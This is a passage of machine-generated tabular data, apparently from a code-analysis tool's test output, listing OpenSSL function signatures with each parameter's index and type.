0 | SRP_user_pwd * | +| (SRP_user_pwd *,BIGNUM *,BIGNUM *) | | SRP_user_pwd_set0_sv | 1 | BIGNUM * | +| (SRP_user_pwd *,BIGNUM *,BIGNUM *) | | SRP_user_pwd_set0_sv | 2 | BIGNUM * | +| (SRP_user_pwd *,const BIGNUM *,const BIGNUM *) | | SRP_user_pwd_set_gN | 0 | SRP_user_pwd * | +| (SRP_user_pwd *,const BIGNUM *,const BIGNUM *) | | SRP_user_pwd_set_gN | 1 | const BIGNUM * | +| (SRP_user_pwd *,const BIGNUM *,const BIGNUM *) | | SRP_user_pwd_set_gN | 2 | const BIGNUM * | +| (SRP_user_pwd *,const char *,const char *) | | SRP_user_pwd_set1_ids | 0 | SRP_user_pwd * | +| (SRP_user_pwd *,const char *,const char *) | | SRP_user_pwd_set1_ids | 1 | const char * | +| (SRP_user_pwd *,const char *,const char *) | | SRP_user_pwd_set1_ids | 2 | const char * | +| (SSL *) | | SSL_accept | 0 | SSL * | +| (SSL *) | | SSL_certs_clear | 0 | SSL * | +| (SSL *) | | SSL_client_hello_get0_legacy_version | 0 | SSL * | +| (SSL *) | | SSL_client_hello_isv2 | 0 | SSL * | +| (SSL *) | | SSL_connect | 0 | SSL * | +| (SSL *) | | SSL_do_handshake | 0 | SSL * | +| (SSL *) | | SSL_dup | 0 | SSL * | +| (SSL *) | | SSL_get0_connection | 0 | SSL * | +| (SSL *) | | SSL_get0_dane | 0 | SSL * | +| (SSL *) | | SSL_get0_param | 0 | SSL * | +| (SSL *) | | SSL_get0_peer_scts | 0 | SSL * | +| (SSL *) | | SSL_get0_peername | 0 | SSL * | +| (SSL *) | | SSL_get1_session | 0 | SSL * | +| (SSL *) | | SSL_get1_supported_ciphers | 0 | SSL * | +| (SSL *) | | SSL_get_default_passwd_cb | 0 | SSL * | +| (SSL *) | | SSL_get_default_passwd_cb_userdata | 0 | SSL * | +| (SSL *) | | SSL_get_selected_srtp_profile | 0 | SSL * | +| (SSL *) | | SSL_get_srp_N | 0 | SSL * | +| (SSL *) | | SSL_get_srp_g | 0 | SSL * | +| (SSL *) | | SSL_get_srp_userinfo | 0 | SSL * | +| (SSL *) | | SSL_get_srp_username | 0 | SSL * | +| (SSL *) | | SSL_get_srtp_profiles | 0 | SSL * | +| (SSL *) | | SSL_shutdown | 0 | SSL * | +| (SSL *) | | SSL_stateless | 0 | SSL * | +| (SSL *) | | SSL_verify_client_post_handshake | 0 | SSL * | +| (SSL *) | | do_ssl_shutdown | 0 | SSL * | +| (SSL *,..(*)(..)) | | SSL_set_info_callback | 0 | SSL * | +| (SSL *,..(*)(..)) | | SSL_set_info_callback | 1 | ..(*)(..) | +| (SSL *,..(*)(..)) | | SSL_set_record_padding_callback | 0 | SSL * | +| (SSL *,..(*)(..)) | | SSL_set_record_padding_callback | 1 | ..(*)(..) | +| (SSL *,..(*)(..)) | | SSL_set_security_callback | 0 | SSL * | +| (SSL *,..(*)(..)) | | SSL_set_security_callback | 1 | ..(*)(..) | +| (SSL *,..(*)(..),void *) | | SSL_set_cert_cb | 0 | SSL * | +| (SSL *,..(*)(..),void *) | | SSL_set_cert_cb | 1 | ..(*)(..) | +| (SSL *,..(*)(..),void *) | | SSL_set_cert_cb | 2 | void * | +| (SSL *,BIO *) | | SSL_set0_rbio | 0 | SSL * | +| (SSL *,BIO *) | | SSL_set0_rbio | 1 | BIO * | +| (SSL *,BIO *) | | SSL_set0_wbio | 0 | SSL * | +| (SSL *,BIO *) | | SSL_set0_wbio | 1 | BIO * | +| (SSL *,BIO *) | | print_verify_detail | 0 | SSL * | +| (SSL *,BIO *) | | print_verify_detail | 1 | BIO * | +| (SSL *,BIO *,BIO *) | | SSL_set_bio | 0 | SSL * | +| (SSL *,BIO *,BIO *) | | SSL_set_bio | 1 | BIO * | +| (SSL *,BIO *,BIO *) | | SSL_set_bio | 2 | BIO * | +| (SSL *,DTLS_timer_cb) | | DTLS_set_timer_cb | 0 | SSL * | +| (SSL *,DTLS_timer_cb) | | DTLS_set_timer_cb | 1 | DTLS_timer_cb | +| (SSL *,EVP_PKEY *) | | SSL_set0_tmp_dh_pkey | 0 | SSL * | +| (SSL *,EVP_PKEY *) | | SSL_set0_tmp_dh_pkey | 1 | EVP_PKEY * | +| (SSL *,GEN_SESSION_CB) | | SSL_set_generate_session_id | 0 | SSL * | +| (SSL *,GEN_SESSION_CB) | | SSL_set_generate_session_id | 1 | GEN_SESSION_CB | +| (SSL *,SSL_CTX *) | | SSL_set_SSL_CTX | 0 | SSL * | +| (SSL *,SSL_CTX *) | | SSL_set_SSL_CTX | 1 | SSL_CTX * | +| (SSL *,SSL_CTX *,const SSL_METHOD *,int) | | ossl_ssl_init | 0 | SSL * | +| (SSL *,SSL_CTX *,const SSL_METHOD *,int) | | ossl_ssl_init | 1 | SSL_CTX * | +| (SSL *,SSL_CTX *,const SSL_METHOD *,int) | | ossl_ssl_init | 2 | const SSL_METHOD * | +| (SSL *,SSL_CTX *,const SSL_METHOD *,int) | | ossl_ssl_init | 3 | int | +| (SSL *,SSL_SESSION *) | | SSL_set_session | 0 | SSL * | +| (SSL *,SSL_SESSION *) | | SSL_set_session | 1 | SSL_SESSION * | +| (SSL *,SSL_allow_early_data_cb_fn,void *) | | SSL_set_allow_early_data_cb | 0 | SSL * | +| (SSL *,SSL_allow_early_data_cb_fn,void *) | | SSL_set_allow_early_data_cb | 1 | SSL_allow_early_data_cb_fn | +| (SSL *,SSL_allow_early_data_cb_fn,void *) | | SSL_set_allow_early_data_cb | 2 | void * | +| (SSL *,SSL_async_callback_fn) | | SSL_set_async_callback | 0 | SSL * | +| (SSL *,SSL_async_callback_fn) | | SSL_set_async_callback | 1 | SSL_async_callback_fn | +| (SSL *,SSL_psk_client_cb_func) | | SSL_set_psk_client_callback | 0 | SSL * | +| (SSL *,SSL_psk_client_cb_func) | | SSL_set_psk_client_callback | 1 | SSL_psk_client_cb_func | +| (SSL *,SSL_psk_find_session_cb_func) | | SSL_set_psk_find_session_callback | 0 | SSL * | +| (SSL *,SSL_psk_find_session_cb_func) | | SSL_set_psk_find_session_callback | 1 | SSL_psk_find_session_cb_func | +| (SSL *,SSL_psk_server_cb_func) | | SSL_set_psk_server_callback | 0 | SSL * | +| (SSL *,SSL_psk_server_cb_func) | | SSL_set_psk_server_callback | 1 | SSL_psk_server_cb_func | +| (SSL *,SSL_psk_use_session_cb_func) | | SSL_set_psk_use_session_callback | 0 | SSL * | +| (SSL *,SSL_psk_use_session_cb_func) | | SSL_set_psk_use_session_callback | 1 | SSL_psk_use_session_cb_func | +| (SSL *,X509 *) | | SSL_use_certificate | 0 | SSL * | +| (SSL *,X509 *) | | SSL_use_certificate | 1 | X509 * | +| (SSL *,X509 **,EVP_PKEY **) | | SSL_get0_dane_authority | 0 | SSL * | +| (SSL *,X509 **,EVP_PKEY **) | | SSL_get0_dane_authority | 1 | X509 ** | +| (SSL *,X509 **,EVP_PKEY **) | | SSL_get0_dane_authority | 2 | EVP_PKEY ** | +| (SSL *,X509 *,EVP_PKEY *,stack_st_X509 *) | | SSL_check_chain | 0 | SSL * | +| (SSL *,X509 *,EVP_PKEY *,stack_st_X509 *) | | SSL_check_chain | 1 | X509 * | +| (SSL *,X509 *,EVP_PKEY *,stack_st_X509 *) | | SSL_check_chain | 2 | EVP_PKEY * | +| (SSL *,X509 *,EVP_PKEY *,stack_st_X509 *) | | SSL_check_chain | 3 | stack_st_X509 * | +| (SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_use_cert_and_key | 0 | SSL * | +| (SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_use_cert_and_key | 1 | X509 * | +| (SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_use_cert_and_key | 2 | EVP_PKEY * | +| (SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_use_cert_and_key | 3 | stack_st_X509 * | +| (SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_use_cert_and_key | 4 | int | +| (SSL *,X509_VERIFY_PARAM *) | | SSL_set1_param | 0 | SSL * | +| (SSL *,X509_VERIFY_PARAM *) | | SSL_set1_param | 1 | X509_VERIFY_PARAM * | +| (SSL *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,char *) | | SSL_set_srp_server_param | 0 | SSL * | +| (SSL *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,char *) | | SSL_set_srp_server_param | 1 | const BIGNUM * | +| (SSL *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,char *) | | SSL_set_srp_server_param | 2 | const BIGNUM * | +| (SSL *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,char *) | | SSL_set_srp_server_param | 3 | BIGNUM * | +| (SSL *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,char *) | | SSL_set_srp_server_param | 4 | BIGNUM * | +| (SSL *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,char *) | | SSL_set_srp_server_param | 5 | char * | +| (SSL *,const OSSL_DISPATCH *,void *) | | SSL_set_quic_tls_cbs | 0 | SSL * | +| (SSL *,const OSSL_DISPATCH *,void *) | | SSL_set_quic_tls_cbs | 1 | const OSSL_DISPATCH * | +| (SSL *,const OSSL_DISPATCH *,void *) | | SSL_set_quic_tls_cbs | 2 | void * | +| (SSL *,const SSL *) | | SSL_copy_session_id | 0 | SSL * | +| (SSL *,const SSL *) | | SSL_copy_session_id | 1 | const SSL * | +| (SSL *,const SSL_METHOD *) | | SSL_set_ssl_method | 0 | SSL * | +| (SSL *,const SSL_METHOD *) | | SSL_set_ssl_method | 1 | const SSL_METHOD * | +| (SSL *,const char *) | | SSL_add1_host | 0 | SSL * | +| (SSL *,const char *) | | SSL_add1_host | 1 | const char * | +| (SSL *,const char *) | | SSL_set1_host | 0 | SSL * | +| (SSL *,const char *) | | SSL_set1_host | 1 | const char * | +| (SSL *,const char *) | | SSL_set_cipher_list | 0 | SSL * | +| (SSL *,const char *) | | SSL_set_cipher_list | 1 | const char * | +| (SSL *,const char *) | | SSL_use_psk_identity_hint | 0 | SSL * | +| (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | const char * | +| (SSL *,const unsigned char **) | | SSL_client_hello_get0_compression_methods | 0 | SSL * | +| (SSL *,const unsigned char **) | | SSL_client_hello_get0_compression_methods | 1 | const unsigned char ** | +| (SSL *,const unsigned char **) | | SSL_client_hello_get0_random | 0 | SSL * | +| (SSL *,const unsigned char **) | | SSL_client_hello_get0_random | 1 | const unsigned char ** | +| (SSL *,const unsigned char **) | | SSL_client_hello_get0_session_id | 0 | SSL * | +| (SSL *,const unsigned char **) | | SSL_client_hello_get0_session_id | 1 | const unsigned char ** | +| (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 0 | SSL * | +| (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 1 | const unsigned char * | +| (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 2 | int | +| (SSL *,const unsigned char *,long) | | SSL_use_RSAPrivateKey_ASN1 | 0 | SSL * | +| (SSL *,const unsigned char *,long) | | SSL_use_RSAPrivateKey_ASN1 | 1 | const unsigned char * | +| (SSL *,const unsigned char *,long) | | SSL_use_RSAPrivateKey_ASN1 | 2 | long | +| (SSL *,const unsigned char *,size_t) | | SSL_set1_client_cert_type | 0 | SSL * | +| (SSL *,const unsigned char *,size_t) | | SSL_set1_client_cert_type | 1 | const unsigned char * | +| (SSL *,const unsigned char *,size_t) | | SSL_set1_client_cert_type | 2 | size_t | +| (SSL *,const unsigned char *,size_t) | | SSL_set1_server_cert_type | 0 | SSL * | +| (SSL *,const unsigned char *,size_t) | | SSL_set1_server_cert_type | 1 | const unsigned char * | +| (SSL *,const unsigned char *,size_t) | | SSL_set1_server_cert_type | 2 | size_t | +| (SSL *,const unsigned char *,size_t) | | SSL_set_quic_tls_transport_params | 0 | SSL * | +| (SSL *,const unsigned char *,size_t) | | SSL_set_quic_tls_transport_params | 1 | const unsigned char * | +| (SSL *,const unsigned char *,size_t) | | SSL_set_quic_tls_transport_params | 2 | size_t | +| (SSL *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | SSL_inject_net_dgram | 0 | SSL * | +| (SSL *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | SSL_inject_net_dgram | 1 | const unsigned char * | +| (SSL *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | SSL_inject_net_dgram | 2 | size_t | +| (SSL *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | SSL_inject_net_dgram | 3 | const BIO_ADDR * | +| (SSL *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *) | | SSL_inject_net_dgram | 4 | const BIO_ADDR * | +| (SSL *,const unsigned char *,size_t,int,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **) | | SSL_bytes_to_cipher_list | 0 | SSL * | +| (SSL *,const unsigned char *,size_t,int,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **) | | SSL_bytes_to_cipher_list | 1 | const unsigned char * | +| (SSL *,const unsigned char *,size_t,int,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **) | | SSL_bytes_to_cipher_list | 2 | size_t | +| (SSL *,const unsigned char *,size_t,int,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **) | | SSL_bytes_to_cipher_list | 3 | int | +| (SSL *,const unsigned char *,size_t,int,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **) | | SSL_bytes_to_cipher_list | 4 | stack_st_SSL_CIPHER ** | +| (SSL *,const unsigned char *,size_t,int,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **) | | SSL_bytes_to_cipher_list | 5 | stack_st_SSL_CIPHER ** | +| (SSL *,const unsigned char *,unsigned int) | | SSL_set_alpn_protos | 0 | SSL * | +| (SSL *,const unsigned char *,unsigned int) | | SSL_set_alpn_protos | 1 | const unsigned char * | +| (SSL *,const unsigned char *,unsigned int) | | SSL_set_alpn_protos | 2 | unsigned int | +| (SSL *,const unsigned char *,unsigned int) | | SSL_set_session_id_context | 0 | SSL * | +| (SSL *,const unsigned char *,unsigned int) | | SSL_set_session_id_context | 1 | const unsigned char * | +| (SSL *,const unsigned char *,unsigned int) | | SSL_set_session_id_context | 2 | unsigned int | +| (SSL *,const void *,int) | | SSL_write | 0 | SSL * | +| (SSL *,const void *,int) | | SSL_write | 1 | const void * | +| (SSL *,const void *,int) | | SSL_write | 2 | int | +| (SSL *,const void *,size_t,size_t *) | | SSL_write_early_data | 0 | SSL * | +| (SSL *,const void *,size_t,size_t *) | | SSL_write_early_data | 1 | const void * | +| (SSL *,const void *,size_t,size_t *) | | SSL_write_early_data | 2 | size_t | +| (SSL *,const void *,size_t,size_t *) | | SSL_write_early_data | 3 | size_t * | +| (SSL *,const void *,size_t,size_t *) | | SSL_write_ex | 0 | SSL * | +| (SSL *,const void *,size_t,size_t *) | | SSL_write_ex | 1 | const void * | +| (SSL *,const void *,size_t,size_t *) | | SSL_write_ex | 2 | size_t | +| (SSL *,const void *,size_t,size_t *) | | SSL_write_ex | 3 | size_t * | +| (SSL *,const void *,size_t,size_t *) | | ossl_quic_write | 0 | SSL * | +| (SSL *,const void *,size_t,size_t *) | | ossl_quic_write | 1 | const void * | +| (SSL *,const void *,size_t,size_t *) | | ossl_quic_write | 2 | size_t | +| (SSL *,const void *,size_t,size_t *) | | ossl_quic_write | 3 | size_t * | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | SSL_write_ex2 | 0 | SSL * | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | SSL_write_ex2 | 1 | const void * | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | SSL_write_ex2 | 2 | size_t | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | SSL_write_ex2 | 3 | uint64_t | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | SSL_write_ex2 | 4 | size_t * | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ossl_quic_write_flags | 0 | SSL * | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ossl_quic_write_flags | 1 | const void * | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ossl_quic_write_flags | 2 | size_t | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ossl_quic_write_flags | 3 | uint64_t | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ossl_quic_write_flags | 4 | size_t * | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ssl_write_internal | 0 | SSL * | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ssl_write_internal | 1 | const void * | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ssl_write_internal | 2 | size_t | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ssl_write_internal | 3 | uint64_t | +| (SSL *,const void *,size_t,uint64_t,size_t *) | | ssl_write_internal | 4 | size_t * | +| (SSL *,int *) | | SSL_get_async_status | 0 | SSL * | +| (SSL *,int *) | | SSL_get_async_status | 1 | int * | +| (SSL *,int *,size_t *) | | SSL_get_all_async_fds | 0 | SSL * | +| (SSL *,int *,size_t *) | | SSL_get_all_async_fds | 1 | int * | +| (SSL *,int *,size_t *) | | SSL_get_all_async_fds | 2 | size_t * | +| (SSL *,int *,size_t *,int *,size_t *) | | SSL_get_changed_async_fds | 0 | SSL * | +| (SSL *,int *,size_t *,int *,size_t *) | | SSL_get_changed_async_fds | 1 | int * | +| (SSL *,int *,size_t *,int *,size_t *) | | SSL_get_changed_async_fds | 2 | size_t * | +| (SSL *,int *,size_t *,int *,size_t *) | | SSL_get_changed_async_fds | 3 | int * | +| (SSL *,int *,size_t *,int *,size_t *) | | SSL_get_changed_async_fds | 4 | size_t * | +| (SSL *,int) | | SSL_key_update | 0 | SSL * | +| (SSL *,int) | | SSL_key_update | 1 | int | +| (SSL *,int) | | SSL_set_post_handshake_auth | 0 | SSL * | +| (SSL *,int) | | SSL_set_post_handshake_auth | 1 | int | +| (SSL *,int) | | SSL_set_purpose | 0 | SSL * | +| (SSL *,int) | | SSL_set_purpose | 1 | int | +| (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 0 | SSL * | +| (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | int | +| (SSL *,int) | | SSL_set_quiet_shutdown | 0 | SSL * | +| (SSL *,int) | | SSL_set_quiet_shutdown | 1 | int | +| (SSL *,int) | | SSL_set_read_ahead | 0 | SSL * | +| (SSL *,int) | | SSL_set_read_ahead | 1 | int | +| (SSL *,int) | | SSL_set_security_level | 0 | SSL * | +| (SSL *,int) | | SSL_set_security_level | 1 | int | +| (SSL *,int) | | SSL_set_shutdown | 0 | SSL * | +| (SSL *,int) | | SSL_set_shutdown | 1 | int | +| (SSL *,int) | | SSL_set_trust | 0 | SSL * | +| (SSL *,int) | | SSL_set_trust | 1 | int | +| (SSL *,int) | | SSL_set_verify_depth | 0 | SSL * | +| (SSL *,int) | | SSL_set_verify_depth | 1 | int | +| (SSL *,int,..(*)(..)) | | ssl3_callback_ctrl | 0 | SSL * | +| (SSL *,int,..(*)(..)) | | ssl3_callback_ctrl | 1 | int | +| (SSL *,int,..(*)(..)) | | ssl3_callback_ctrl | 2 | ..(*)(..) | +| (SSL *,int,..(*)(..),SSL_verify_cb) | | SSL_set_verify | 0 | SSL * | +| (SSL *,int,..(*)(..),SSL_verify_cb) | | SSL_set_verify | 1 | int | +| (SSL *,int,..(*)(..),SSL_verify_cb) | | SSL_set_verify | 2 | ..(*)(..) | +| (SSL *,int,..(*)(..),SSL_verify_cb) | | SSL_set_verify | 3 | SSL_verify_cb | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_shared_sigalgs | 0 | SSL * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_shared_sigalgs | 1 | int | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_shared_sigalgs | 2 | int * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_shared_sigalgs | 3 | int * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_shared_sigalgs | 4 | int * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_shared_sigalgs | 5 | unsigned char * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_shared_sigalgs | 6 | unsigned char * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_sigalgs | 0 | SSL * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_sigalgs | 1 | int | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_sigalgs | 2 | int * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_sigalgs | 3 | int * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_sigalgs | 4 | int * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_sigalgs | 5 | unsigned char * | +| (SSL *,int,int *,int *,int *,unsigned char *,unsigned char *) | | SSL_get_sigalgs | 6 | unsigned char * | +| (SSL *,int,long,void *) | | SSL_ctrl | 0 | SSL * | +| (SSL *,int,long,void *) | | SSL_ctrl | 1 | int | +| (SSL *,int,long,void *) | | SSL_ctrl | 2 | long | +| (SSL *,int,long,void *) | | SSL_ctrl | 3 | void * | +| (SSL *,int,long,void *) | | dtls1_ctrl | 0 | SSL * | +| (SSL *,int,long,void *) | | dtls1_ctrl | 1 | int | +| (SSL *,int,long,void *) | | dtls1_ctrl | 2 | long | +| (SSL *,int,long,void *) | | dtls1_ctrl | 3 | void * | +| (SSL *,int,long,void *) | | ossl_quic_ctrl | 0 | SSL * | +| (SSL *,int,long,void *) | | ossl_quic_ctrl | 1 | int | +| (SSL *,int,long,void *) | | ossl_quic_ctrl | 2 | long | +| (SSL *,int,long,void *) | | ossl_quic_ctrl | 3 | void * | +| (SSL *,int,long,void *) | | ssl3_ctrl | 0 | SSL * | +| (SSL *,int,long,void *) | | ssl3_ctrl | 1 | int | +| (SSL *,int,long,void *) | | ssl3_ctrl | 2 | long | +| (SSL *,int,long,void *) | | ssl3_ctrl | 3 | void * | +| (SSL *,int,long,void *,int) | | ossl_ctrl_internal | 0 | SSL * | +| (SSL *,int,long,void *,int) | | ossl_ctrl_internal | 1 | int | +| (SSL *,int,long,void *,int) | | ossl_ctrl_internal | 2 | long | +| (SSL *,int,long,void *,int) | | ossl_ctrl_internal | 3 | void * | +| (SSL *,int,long,void *,int) | | ossl_ctrl_internal | 4 | int | +| (SSL *,long) | | SSL_set_verify_result | 0 | SSL * | +| (SSL *,long) | | SSL_set_verify_result | 1 | long | +| (SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *) | | ossl_statem_set_mutator | 0 | SSL * | +| (SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *) | | ossl_statem_set_mutator | 1 | ossl_statem_mutate_handshake_cb | +| (SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *) | | ossl_statem_set_mutator | 2 | ossl_statem_finish_mutate_handshake_cb | +| (SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *) | | ossl_statem_set_mutator | 3 | void * | +| (SSL *,pem_password_cb *) | | SSL_set_default_passwd_cb | 0 | SSL * | +| (SSL *,pem_password_cb *) | | SSL_set_default_passwd_cb | 1 | pem_password_cb * | +| (SSL *,size_t) | | SSL_set_block_padding | 0 | SSL * | +| (SSL *,size_t) | | SSL_set_block_padding | 1 | size_t | +| (SSL *,size_t) | | SSL_set_default_read_buffer_len | 0 | SSL * | +| (SSL *,size_t) | | SSL_set_default_read_buffer_len | 1 | size_t | +| (SSL *,size_t) | | SSL_set_num_tickets | 0 | SSL * | +| (SSL *,size_t) | | SSL_set_num_tickets | 1 | size_t | +| (SSL *,size_t,size_t) | | SSL_set_block_padding_ex | 0 | SSL * | +| (SSL *,size_t,size_t) | | SSL_set_block_padding_ex | 1 | size_t | +| (SSL *,size_t,size_t) | | SSL_set_block_padding_ex | 2 | size_t | +| (SSL *,ssl_ct_validation_cb,void *) | | SSL_set_ct_validation_callback | 0 | SSL * | +| (SSL *,ssl_ct_validation_cb,void *) | | SSL_set_ct_validation_callback | 1 | ssl_ct_validation_cb | +| (SSL *,ssl_ct_validation_cb,void *) | | SSL_set_ct_validation_callback | 2 | void * | +| (SSL *,stack_st_X509_NAME *) | | SSL_set0_CA_list | 0 | SSL * | +| (SSL *,stack_st_X509_NAME *) | | SSL_set0_CA_list | 1 | stack_st_X509_NAME * | +| (SSL *,stack_st_X509_NAME *) | | SSL_set_client_CA_list | 0 | SSL * | +| (SSL *,stack_st_X509_NAME *) | | SSL_set_client_CA_list | 1 | stack_st_X509_NAME * | +| (SSL *,tls_session_secret_cb_fn,void *) | | SSL_set_session_secret_cb | 0 | SSL * | +| (SSL *,tls_session_secret_cb_fn,void *) | | SSL_set_session_secret_cb | 1 | tls_session_secret_cb_fn | +| (SSL *,tls_session_secret_cb_fn,void *) | | SSL_set_session_secret_cb | 2 | void * | +| (SSL *,tls_session_ticket_ext_cb_fn,void *) | | SSL_set_session_ticket_ext_cb | 0 | SSL * | +| (SSL *,tls_session_ticket_ext_cb_fn,void *) | | SSL_set_session_ticket_ext_cb | 1 | tls_session_ticket_ext_cb_fn | +| (SSL *,tls_session_ticket_ext_cb_fn,void *) | | SSL_set_session_ticket_ext_cb | 2 | void * | +| (SSL *,uint8_t *,uint8_t *,uint8_t *,const unsigned char **,size_t *) | | SSL_get0_dane_tlsa | 0 | SSL * | +| (SSL *,uint8_t *,uint8_t *,uint8_t *,const unsigned char **,size_t *) | | SSL_get0_dane_tlsa | 1 | uint8_t * | +| (SSL *,uint8_t *,uint8_t *,uint8_t *,const unsigned char **,size_t *) | | SSL_get0_dane_tlsa | 2 | uint8_t * | +| (SSL *,uint8_t *,uint8_t *,uint8_t *,const unsigned char **,size_t *) | | SSL_get0_dane_tlsa | 3 | uint8_t * | +| (SSL *,uint8_t *,uint8_t *,uint8_t *,const unsigned char **,size_t *) | | SSL_get0_dane_tlsa | 4 | const unsigned char ** | +| (SSL *,uint8_t *,uint8_t *,uint8_t *,const unsigned char **,size_t *) | | SSL_get0_dane_tlsa | 5 | size_t * | +| (SSL *,uint8_t) | | SSL_set_tlsext_max_fragment_length | 0 | SSL * | +| (SSL *,uint8_t) | | SSL_set_tlsext_max_fragment_length | 1 | uint8_t | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_app_data_bytes | 0 | SSL * | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_app_data_bytes | 1 | uint8_t | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_app_data_bytes | 2 | const void * | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_app_data_bytes | 3 | size_t | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_app_data_bytes | 4 | size_t * | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | ssl3_write_bytes | 0 | SSL * | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | ssl3_write_bytes | 1 | uint8_t | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | ssl3_write_bytes | 2 | const void * | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | ssl3_write_bytes | 3 | size_t | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | ssl3_write_bytes | 4 | size_t * | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | dtls1_read_bytes | 0 | SSL * | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | dtls1_read_bytes | 1 | uint8_t | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | dtls1_read_bytes | 2 | uint8_t * | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | dtls1_read_bytes | 3 | unsigned char * | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | dtls1_read_bytes | 4 | size_t | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | dtls1_read_bytes | 5 | int | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | dtls1_read_bytes | 6 | size_t * | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | ssl3_read_bytes | 0 | SSL * | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | ssl3_read_bytes | 1 | uint8_t | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | ssl3_read_bytes | 2 | uint8_t * | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | ssl3_read_bytes | 3 | unsigned char * | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | ssl3_read_bytes | 4 | size_t | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | ssl3_read_bytes | 5 | int | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | ssl3_read_bytes | 6 | size_t * | +| (SSL *,uint8_t,uint8_t,uint8_t,const unsigned char *,size_t) | | SSL_dane_tlsa_add | 0 | SSL * | +| (SSL *,uint8_t,uint8_t,uint8_t,const unsigned char *,size_t) | | SSL_dane_tlsa_add | 1 | 